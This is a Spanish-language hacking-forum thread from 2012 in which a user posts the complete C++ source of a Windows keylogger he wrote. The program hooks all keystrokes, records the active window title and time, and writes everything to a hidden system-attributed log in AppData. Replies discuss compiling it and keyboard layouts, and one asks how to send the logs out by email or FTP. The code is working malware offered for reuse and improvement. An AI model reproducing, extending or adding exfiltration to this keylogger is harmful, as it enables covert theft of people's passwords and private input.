Página 1 de 1

[source] s7ogger++ (KeyLogger)

Publicado: 13 Jun 2012, 16:14
por s7evin
Traigo el código de un Keylogger codeado por mi. Es algo rudimentario y NO dispone de opciones, como por ejemplo: agregar una entrada en el Registro de Windows para su auto-inicio, ni envíos de LOGs por FTP, etc.

Todas esas opciones se puede ir agregando. Solo me apetecía programar un "keylogger puro y duro" en C++ (había hecho alguno con Delphi y VB, pero no con C/C++). Por tanto es mi primer KeyLogger en C++ y se nota que es bastante básico y mejorable.

Por eso mismo lo posteo, para que (si quereis) podáis coger el código y mejorarlo, o aportar ideas y consejos (todavía me hago líos con las Cadenas de caracteres); y así las compartamos.

Por ejemplo, podría haber mejorado el tema de los acentos, puesto que lo que hago es escribir directamente '´e' en vez de 'é'; cosa que se podría haber solucionando mediante unas globales (pero me daba algo de pereza y ya lo implementaré).

Espero que os sirva de algo :P

Código: Seleccionar todo

#include <windows.h>
#include <shlobj.h>
#include <string>
#include <sstream>

using namespace std;

HINSTANCE g_hInstance;
HWND g_hWnd;

HANDLE g_hMutex;
HANDLE g_hFile;

wchar_t g_szFilePath[ MAX_PATH ];
string g_strText, g_strCurrentWindow = "";
BOOL g_bCapitals, g_hShift;
wchar_t g_szLanguageName[ 50 ];
wchar_t g_szCurrentWindow[ MAX_PATH ];

BOOL Save();
void wGetAppDataPath(wchar_t* szPath);
void ActiveWindowTitle(wchar_t* szWindowTitle);
void WindowsLanguage(wchar_t* szLanguageName);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
	stringstream ss;
	string strLocaleName;
	BOOL bShift = FALSE, bCapital = FALSE, bRMenu = FALSE, bLMenu = FALSE, bDelRet = FALSE;
	BOOL bNumLock = FALSE;
	BOOL bMayusc = FALSE, bControl = FALSE;
	BOOL bAltGr = FALSE, bAlt = FALSE;
	wchar_t szCurrentWindow[ MAX_PATH ];
	SYSTEMTIME lpTime;
	
	if( wParam == WM_KEYDOWN )
	{
		ActiveWindowTitle(szCurrentWindow);
		
		if( wcscmp(g_szCurrentWindow, szCurrentWindow) != 0 )
		{
			stringstream ssTmp;
			wcscpy_s(g_szCurrentWindow, szCurrentWindow);
			GetLocalTime(&lpTime);
			
			char ch[ MAX_PATH ];
			char DefChar = ' ';
			WideCharToMultiByte(CP_ACP, 0, szCurrentWindow, -1, ch, MAX_PATH, &DefChar, NULL);

			string strTmp(ch);
			ssTmp << lpTime.wYear << "/" << lpTime.wMonth << "/" << lpTime.wDay << " " << 
				lpTime.wHour << ":" << lpTime.wMinute << ":" << lpTime.wSecond; 
			g_strText = "\r\n\r\n [ " + strTmp + " ] - " + ssTmp.str() + "\r\n";
			
			Save();
		}
		
		if( GetKeyState(VK_SHIFT) & 0x8000 )
			bShift = TRUE;
		if( GetKeyState(VK_CAPITAL) )
			bCapital = TRUE;

		if( GetKeyState(VK_NUMLOCK) )
			bNumLock = TRUE;

		bMayusc = bShift ^ bCapital;
		bControl = GetKeyState( VK_CONTROL ) & 0x8000;
		bAlt = GetKeyState( VK_MENU ) & 0x8000;
				
		switch( p->vkCode )
		{
			/**** SNTANDARD KEYS ****/
				case VK_ESCAPE: 
					g_strText = " [ESCAPE] ";
					break;
				case VK_NUMLOCK:
					g_strText = " [NUM. LOCK] ";
					break;
				case VK_BACK:
					g_strText = " [BACK] ";
					break;
				case VK_LWIN:
					g_strText = " [LEFT WINDOWS] ";
					break;
				case VK_RWIN:
					g_strText = " [RIGHT WINDOWS] ";
					break;
				case VK_SNAPSHOT:
					g_strText = " [SNAPSHOT] ";
					break;
				case VK_INSERT:
					g_strText = " [INSERT] ";
					break;
				case VK_DELETE:
					g_strText = " [DELETE] ";
					break;
				case VK_PAUSE:
					g_strText = " [PAUSE] ";
					break;
				case VK_UP:
					g_strText = " [UP] ";
					break;
				case VK_DOWN:
					g_strText = " [DOWN] ";
					break;
				case VK_LEFT:
					g_strText = " [LEFT] ";
					break;
				case VK_RIGHT:
					g_strText = " [RIGHT] ";
					break;
				case VK_TAB:
					g_strText = " [TAB] ";
					break;
				case VK_HOME:
					g_strText = " [HOME] ";
					break;
				case VK_END:
					g_strText = " [END] ";
					break;
				case VK_RETURN:
					g_strText = "\r\n";
					break;
				/*********************/
				case VK_MENU:
				case VK_LMENU:
				case VK_RMENU:

				case VK_SHIFT:
				case VK_LSHIFT:
				case VK_RSHIFT:

				case VK_CAPITAL:
					break;
				case VK_CONTROL:
				case VK_LCONTROL:
				case VK_RCONTROL:
					break;

				/********* NUM. PAD ************/
				case VK_NUMPAD0:
					g_strText = char(48);
					break;
				case VK_NUMPAD1:
					g_strText = char(49);
					break;
				case VK_NUMPAD2:
					g_strText = char(50);
					break;
				case VK_NUMPAD3:
					g_strText = char(51);
					break;
				case VK_NUMPAD4:
					g_strText = char(52);
					break;
				case VK_NUMPAD5:
					g_strText = char(53);
					break;
				case VK_NUMPAD6:
					g_strText = char(54);
					break;
				case VK_NUMPAD7:
					g_strText = char(55);
					break;
				case VK_NUMPAD8:
					g_strText = char(56);
					break;
				case VK_NUMPAD9:
					g_strText = char(57);
					break;
				/********* END NUM. PAD *********/

				case VK_MULTIPLY:/* '*' */
					g_strText = char(42);
					break;
				case VK_ADD:/* '+' */
					g_strText = char(43);
					break;
				case VK_SUBTRACT:/* '-' */
					g_strText = char(45);
					break;
				case VK_DECIMAL:/* '.' */
					g_strText = char(46);
					break;
				case VK_DIVIDE:/* '/' */
					g_strText = char(47);
					break;

				case VK_SPACE:/* "'" */
					g_strText = char(32);
					break;
				
			/**** END OF STANDARD KEYS ****/


			/********* KEYS BY LANGUAGE **********/
				/* SPECIAL CHARS */
					case 188:/* , */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? ";" : ",";
						} else {
							g_strText = bShift ? "<" : ",";
						}
						break;
					case 190:/* . */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? ":" : ".";
						} else {
							g_strText = bShift ? ">" : ".";
						}
						break;
					case 189:/* - */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "_" : "-";
						} else {
							g_strText = bShift ? "?" : "/";
						}
						break;
					case 192:/* ñ */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "Ñ" : "ñ";
						} else {
							g_strText = bShift ? ":" : ";";
						}
						break;
					case 222:/* ´ */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "¨" : "´";
						} else {
							g_strText = bShift ? "\"" : "'";
						}
						break;
					case 191:/* ç */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "Ç" : "ç";
						} else {
							g_strText = bShift ? "\\" : "|";
						}
						break;
					case 186:/* ` */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "^" : "`";
						} else {
							g_strText = bShift ? "{" : "[";
						}
						break;
					case 187:/* + */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "*" : "+";
						} else {
							g_strText = bShift ? "}" : "]";
						}
						break;
					case 220:/* º */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "ª" : "º";
						} else {
							g_strText = bShift ? "~" : "`";
						}
						break;

					/* SHIFT + NUMBERS */
					case 48:/* 0 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "=" : "0";
						} else {
							g_strText = bShift ? ")" : "0";
						}
						break;
					case 49:/* 1 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "!" : "1";
						} else {
							g_strText = bShift ? "!" : "1";
						}
						break;
					case 50:/* 2 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "\"" : "2";
						} else {
							g_strText = bShift ? "@" : "2";
						}
						break;
					case 51:/* 3 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "·" : "3";
						} else {
							g_strText = bShift ? "#" : "3";
						}
						break;
					case 52:/* 4 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "$" : "4";
						} else {
							g_strText = bShift ? "$" : "4";
						}
						break;
					case 53:/* 5 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "%" : "5";
						} else {
							g_strText = bShift ? "%" : "5";
						}
						break;
					case 54:/* 6 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "&" : "6";
						} else {
							g_strText = bShift ? "^" : "6";
						}
						break;
					case 55:/* 7 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "/" : "7";
						} else {
							g_strText = bShift ? "&" : "7";
						}
						break;
					case 56:/* 8 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "(" : "8";
						} else {
							g_strText = bShift ? "*" : "8";
						}
						break;
					case 57:/* 9 */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? ")" : "9";
						} else {
							g_strText = bShift ? "(" : "9";
						}
						break;

					case 219:/* ' */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "?" : "'";
						} else {
							g_strText = bShift ? "_" : "-";
						}
						break;
					case 221:/* ¡ */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? "¿" : "¡";
						} else {
							g_strText = bShift ? "+" : "=";
						}
						break;
					case 226:/* < */
						if( !bControl && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') ) {
							g_strText = bShift ? ">" : "<";
						} else {
							g_strText = bShift ? "|" : "\\";
						}
						break;
				/* END SPECIAL CHARS */
			default: 
				{
					if( !bControl )
					{
						ss << g_strText << char( p->vkCode + (bMayusc ? 0 : 32) );
						g_strText = ss.str();
					}
					else if( !bRMenu && !bLMenu )
					{
						ss << g_strText << char( p->vkCode );
						g_strText = "[ CTRL + " + ss.str() + " ] ";
					}
				}
				break;
			/***** END OF KEYS BY LANGUAGE *****/
		}
			Save();
	}
	else if( wParam == WM_SYSKEYDOWN && (g_szLanguageName[0] == 'E' && g_szLanguageName[1] == 's') )
	{
		bAltGr = GetAsyncKeyState(VK_RMENU) & 0x8000;
		if( bAltGr )
		{			
			switch( p->vkCode )
			{
				case 49:/* 1 */
					g_strText = "|";
					break;
				case 50:/* 2 */
					g_strText = "@";
					break;
				case 51:/* 3 */
					g_strText = "#";
					break;
				case 52:/* 4 */
					g_strText = "~";
					break;
				case 53:/* 5 */
					g_strText = "€";
					break;
				case 54:/* 6 */
					g_strText = "¬";
					break;
				
				case 220:/* º */
					g_strText = "\\";
					break;
				case 186:/* ` */
					g_strText = "[";
					break;
				case 187:/* + */
					g_strText = "]";
					break;
				case 222:/* ´ */
					g_strText = "{";
					break;
				case 191:/* ç */
					g_strText = "}";
					break;
				case 69:/* e */
					g_strText = "€";
					break;
			}	
		}
		Save();
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void wGetAppDataPath(wchar_t* szPath)
{
	HRESULT hr = SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, szPath);
}

BOOL Save()
{
	DWORD dwBytesWritten;
	BOOL bSuccess = FALSE;
		
	if( g_strText.length() > 0 )
	{
		WriteFile(g_hFile, g_strText.c_str(), g_strText.length()*sizeof(char), &dwBytesWritten, NULL);
		g_strText = "";
		bSuccess = TRUE;
	}
	return bSuccess;
}

void ActiveWindowTitle(wchar_t* szWindowTitle)
{
	HWND hWnd;
	
	hWnd = GetForegroundWindow();
	GetWindowText(hWnd, szWindowTitle, MAX_PATH);
}

void WindowsLanguage(wchar_t* szLanguageName)
{
	VerLanguageName(GetUserDefaultLCID(), szLanguageName, sizeof(szLanguageName));
}


/************************************* WinMain *******************************************/


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	MSG Msg;

	g_hInstance = hInstance;

	g_hMutex = CreateMutex(NULL, FALSE, L"0xs7ooger++BADC0DED");
	if( g_hMutex == NULL )
	{
		MessageBox(NULL, L"CreateMutex error", L"Error", MB_OK | MB_ICONEXCLAMATION);
		return 0;
	}

	if( GetLastError() == ERROR_ALREADY_EXISTS )
	{
		return 0;
	}
		
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0
	);

	WindowsLanguage( g_szLanguageName );
	wGetAppDataPath( g_szFilePath );	
	g_hFile = CreateFile(wcsncat(g_szFilePath, L"\\prueba.txt", MAX_PATH), FILE_APPEND_DATA, 
		0, NULL, OPEN_ALWAYS, 
		FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, 
		NULL
	);

	if( g_hFile == INVALID_HANDLE_VALUE )
	{
		MessageBox(NULL, L"LOG File cannot be created", L"Error", MB_OK | MB_ICONEXCLAMATION);
		return 0;
	}
	
	while( GetMessage(&Msg, NULL, 0, 0) > 0 )
	{
		TranslateMessage(&Msg);
		DispatchMessage(&Msg);
	}

	Save();
	CloseHandle(g_hFile);

	return Msg.wParam;
}
Salu2!

PD: no sé si el código es "demasiado" extenso y sería mejor adjuntar un archivo. Ya me diréis...

Re: [source] s7ogger++ (KeyLogger)

Publicado: 13 Jun 2012, 18:41
por adwind
Con que lo has compilado?

Re: [source] s7ogger++ (KeyLogger)

Publicado: 13 Jun 2012, 19:43
por s7evin
Wolas!

Mmmm.. Lo he compilado con Visual Studio 2010 Express. Tienes razón, para poderlo compilar con otros se deben modificar un par de cosas.

Al inicio del código (delante de todas las directivas) hay que añadir: #define UNICODE 1
Y después modificar una función: "wcscpy_s" por "wcscpy"

No puedo modificar el código del mensaje principal, si alguien fuera tan amable de explicarme como hacerlo.. lo dejo arreglado xD

Re: [source] s7ogger++ (KeyLogger)

Publicado: 13 Jun 2012, 19:58
por adwind
Intente compilar con dev-c++
y me avento este error
429 C:\Users\adwind\Desktop\a\main.cpp cannot convert `wchar_t*' to `CHAR*' for argument `5' to `HRESULT SHGetFolderPathA(HWND__*, int, void*, DWORD, CHAR*)'


En esta linea HRESULT hr = SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, szPath);

Re: [source] s7ogger++ (KeyLogger)

Publicado: 13 Jun 2012, 20:01
por adwind
Va perfecto amigo buen trabajo :p

Re: [source] s7ogger++ (KeyLogger)

Publicado: 14 Jun 2012, 15:42
por rhoger
Cuanto tiempo tienes estudiando Programación? O.o


Tengo 2 semanas viendo tutoriales de youtobe!

estudio dos horas diarias.... XD Pero todavía no entiendo nada! solo lo de case... XD

Re: [source] s7ogger++ (KeyLogger)

Publicado: 14 Jun 2012, 16:22
por s7evin
No te creas.. mis conocimientos son muy limitados.. xD

Hace tiempo programaba algo de videojuegos en 2D con C/C++, hará 4 años, después deje de banda la programación en C/C++ para dedicarme a otros lenguajes como: PHP, Delphi, .NET, Java, etc. y hará cosa de 3 semanas que volví de nuevo a C/C++ (lo echaba de menos, pero le tengo respeto :] ) para aprender a usar la API de Windows. Si alguien que sepa C entra y ve como utilizo las cadenas de caracteres... me mata xDDD (me hago mucho lío con ellas y los punteros [cada día los entiendo un poco mejor]).

Supongo que es cuestión de ganas, perseverancia y dedicación... pillate códigos fuente de aplicaciones sencillas y vas viendo como funcionan, coge ideas de aquí y de allá; lee las documentaciones de las librerías que utilices (con WinAPI, el MSDN es mano de santo); y cuando ya te sientas cómodo, usa tu imaginación y conocimientos. Todo esto me lo aplico yo mismo, puesto que como te he dicho, apenas empiezo a saber C/C++

Salu2!

Re: [source] s7ogger++ (KeyLogger)

Publicado: 14 Jun 2012, 16:34
por rhoger
Gracias por tu respuesta!!!

Re: [source] s7ogger++ (KeyLogger)

Publicado: 20 Jun 2012, 20:04
por dofo
Hola!

Los que habeis probado el keylogger, ¿Da algun tipo de problema con teclados en otros idomas?

Re: [source] s7ogger++ (KeyLogger)

Publicado: 21 Jun 2012, 11:57
por s7evin
dofo escribió:Hola!

Los que habeis probado el keylogger, ¿Da algun tipo de problema con teclados en otros idomas?
No lo he probado con otros teclados... miro si el idioma por defecto del SO es "Español", sino, lo trato como si fuera "Inglés", así que es probable que con otros idiomas exóticos, dé algún tipo de problema. Ya te digo que es un keylogger muy básico, hay muchos aspectos a mejorar, pero para eso he posteado el código, para que lo podáis modificar a vuestro gusto.

Un saludo!

Re: [source] s7ogger++ (KeyLogger)

Publicado: 07 Jul 2012, 20:37
por taercosmico
como le puedo agregar la funcion para que se mande el log a un email o a un ftp? alguien sabe? saludos